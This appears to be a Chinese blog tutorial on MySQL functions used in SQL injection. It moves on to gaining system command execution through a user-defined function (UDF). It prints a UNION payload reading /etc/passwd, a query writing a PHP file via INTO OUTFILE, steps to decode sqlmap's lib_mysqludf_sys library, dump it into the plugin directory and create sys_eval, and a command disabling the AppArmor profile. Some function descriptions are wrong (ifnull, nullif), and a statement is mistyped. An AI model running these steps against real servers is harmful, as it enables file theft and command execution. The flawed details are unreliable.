在进行sql注入过程中,会使用到mysql中的内置函数。在内置函数中,又分为获取信息的函数和功能函数。
信息函数是用来获取mysql中的数据库的信息,功能函数就是传统的函数用来完成某项操作。
常用的信息函数
database()
:用于获取当前使用的数据库信息
version()
:返回数据库的版本
user()
:返回当前的用户(等价于current_user参数)
@@datadir
:获取数据库的存储位置
常见的功能函数
load_file()
:从计算机中载入文件,读取文件中的数据
1 | select * from table union select 1, load_file('/etc/passwd'), 3 |
into_outfile()
:写入文件,前提是具有写入条件
1 | select '<?php phpinfo(); ?>' into outfile '/tmp/xxx.php'; |
concat()
:返回两个参数相连接产生的字符串。如果其中一个参数为NULL,则返回值为NULL。
group_concat()
:用于合并多条记录中的结果。用法如下:
返回的就是users表中所有的用户名,并且是作为一条记录返回。
substr()
:用于截断字符串。用法为:substr(str, pos, length)
,注意pos
是从1开始的。
ascii()
:返回字符所对应的ascii码。
1 | select ascii('a'); #返回97 |
length()
:返回字符串的长度。
1 | select length('123456') #返回6 |
if(exp1, exp2, exp3)
:如果exp1是True,则返回exp2;否则返回exp3。如:
1 | select 1,2,if(1=1,3,-1) #1,2,3 |
ifnull(exp1, exp2)
:如果exp1是True,则返回exp1;否则返回exp2。如:
1 | select ifnull(sleep(2), 2); |
nullif(exp1, exp2)
:如果exp1==exp2,则返回Null;否则返回exp2。
以上就是在进行sql注入工程中常用的函数。当然还存在一些使用的不是很多的函数。
查看MySQL版本
1 | select version(); |
Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下
查找Plugin目录
1 | select @@plugin_dir; |
查看系统版本
1 | show variables like '%compile%'; |
在Kali Linux中找到合适的UDF
注:新版sqlmap 为了防止文件被误杀,对文件进行异或加密,需要使用
/usr/share/sqlmap/extra/cloak/
路径下的cloak.py解密脚本对lib_mysqludf_sys.so_
进行解码,即python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
得到lib_mysqludf_sys.so
文件
首先确保MySQL允许对任意路径进行读写操作,即secure_file_priv =
将lib_mysqludf_sys.so
传至/tmp/
路径下,使用load_file()
对其读取,并转换成十六进制文件后再写入/tmp/
目录下:
1 | select hex(load_file('/tmp/lib_mysqludf_sys.so')) into dumpfile '/tmp/udf.hex' |
读取udf.hex
文件的内容,并上传至/usr/bin/mysql/plugin/
:
1 | select 0x[udf.hex内容] into dumpfile '/usr/bin/mysql/plugin/udf.so' |
安装UDF
1 | create function sys_eval returns string sonme 'udf.so'; |
执行系统命令
在设置 secure_file_privilege=''
且目录权限为 777
后load_file()
无法读取文件。
无法上传udf.so
至/usr/bin/mysql/plugin/
目录。
上传udf.so
至指定目录后,create function
失败。
使用select sys_eval();
执行命令返回NULL
。
简单来说就是执行下面两个命令:
1 | sudo ln -s /etc/apparmor.d/usr.sbin.mysqld /etc/apparmor.d/disable/ |